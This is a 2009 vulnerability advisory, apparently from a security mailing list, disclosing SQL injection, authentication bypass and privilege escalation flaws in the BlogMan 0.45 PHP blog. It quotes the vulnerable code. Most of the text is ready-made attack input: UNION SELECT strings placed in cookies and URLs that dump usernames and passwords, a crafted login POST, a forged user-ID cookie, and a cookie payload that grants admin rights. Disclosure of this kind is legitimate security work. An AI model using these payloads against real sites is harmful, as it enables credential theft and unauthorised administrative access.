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BlogMan 0.45 Multiple Vulnerabilities


From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx () gmail com>
Date: Sun, 1 Mar 2009 16:47:38 +0100

*******   Salvatore "drosophila" Fresta   *******


Application:       BlogMan
                          http://sourceforge.net/projects/blogman/
Version:             0.45
Bug:                   * Multiple SQL Injection
                          * Authentication Bypass
                          * Privilege Escalation
Exploitation:      Remote
Date:                 1 Mar 2009
Discovered by:  Salvatore "drosophila" Fresta
Author:              Salvatore "drosophila" Fresta
                          e-mail: drosophilaxxx () gmail com
                

*************************************************

- BUGS

This blog is entirely vulnerable to SQL Injection.
The following are vulnerable queries that can be used
to obtain reserved information.

#[1] SQL Injection:

        Requisites: magic_quotes_gpc = off

        File affected: index.php, register.php, viewall.php
        
        The following lines are improperly checked:
        
        /*
                if (isset($_COOKIE['blogmanuserid'])) {
                        $id = $_COOKIE['blogmanuserid'];
                        $query = "SELECT * FROM user WHERE UserID='".$id."'";
                        $user = mysql_fetch_array(mysql_query($query)) or die(mysql_error());
                    echo "<p class='loginusername'><a
href='edit.php?id=".$id."'>".$user['UserName']."</a></p>\n";
        */
        
        Using a cookie editor it is possible to edit that cookie
        and manage the query, as follows:
        
        Name: blogmanuserid
        Content: -1' UNION ALL SELECT
1,CONCAT(UserName,char(58),UserPassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16
FROM user#
        Server: target_server (example: localhost)
        Path: /blogman/


#[2] SQL Injection:

        Requisites: magic_quotes_gpc = off

        File affected: read.php
        
        This bug allows a guest to view the username
        and password of a registered user.
        
        http://site/path/read.php?id=-1'UNION ALL SELECT
NULL,2,CONCAT(UserName,char(58),UserPassword),NULL,5,6,7 FROM user%23
        

#[3] SQL Injection:

        Requisites: magic_quotes_gpc = off

        File affected: profile.php
        
        This bug allows a guest to view the username
        and password of a registered user.
        
        http://site/path/profile.php?id=-1&apos; UNION ALL SELECT
1,CONCAT(UserName,char(58),UserPassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16
FROM user%23


#[1] Authentication Bypass:

        Requisites: magic_quotes_gpc = off

        File affected: doLogin.php
        
        The following lines are improperly checked:
        
        /*
                $un = $_POST['un'];
                $pw = $_POST['pw'];
                
                ...
                
                $pwHashed = mysql_fetch_array(mysql_query("SELECT PASSWORD('".$pw."')"));
                $userRow = mysql_fetch_array(mysql_query("SELECT * FROM user WHERE
UserName='".$un."'"));
                if ($userRow['UserPassword'] == $pwHashed[0] &&
$userRow['UserActive'] && !$userRow['UserDisabled']) {
                    $expires = time() + 3*24*60*60;
                    setcookie("blogmanuserid", $userRow['UserID'], $expires);
                }
        */
        
        Using a SQL Injection bug it is possible to bypass
        conditions and to set an arbitrary UserID value.
        
        The following information must be sent using
        POST method to doLogin.php
        
        un = ' UNION ALL SELECT
1,NULL,PASSWORD('mypass'),NULL,NULL,NULL,NULL,NULL,NULL,0,1,NULL,NULL,NULL,NULL,NULL#
        pw = mypass
        
        The First value is UserID, the third value is the password,
        the tenth value is UserDisabled and the eleventh value is
        UserActive.


#[2] Authentication Bypass:

        Requisites: none
        
        File affected: all
        
        It is possible to bypass the authentication
        system by creating a cookie named 'blogmanuserid',
        and inserting the value of a registered user id
        into the content(sometimes 1 for admin):
        
        Name: blogmanuserid
        Content: 1      
        Server: target_server (example: localhost)
        Path: /blogman/
        
        
Privilege Escalation:

        Requisites: magic_quotes_gpc = off

        File affected: admin.php
        
        It is possible to escalate privileges using
        a SQL Injection bug through a cookie.
        
        The following lines are improperly checked:
        
        /*
                $id = $_COOKIE['blogmanuserid'];
                $user = mysql_fetch_array(mysql_query("SELECT * FROM user WHERE
UserID='".$id."'"));
                if (!$user['UserCanAdmin']) {
                        echo "<meta http-equiv='refresh' content='0;index.php'></head></html>";
                } else {
                        ...
                }
        */
        
        Name: blogmanuserid
        Content: -1' UNION ALL SELECT 2,NULL,3,4,5,6,7,8,9,10,11,12,13,14,15,1# 
        Server: target_server (example: localhost)
        Path: /blogman/
        
        The first value is UserID and the last value
        is UserCanAdmin.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351


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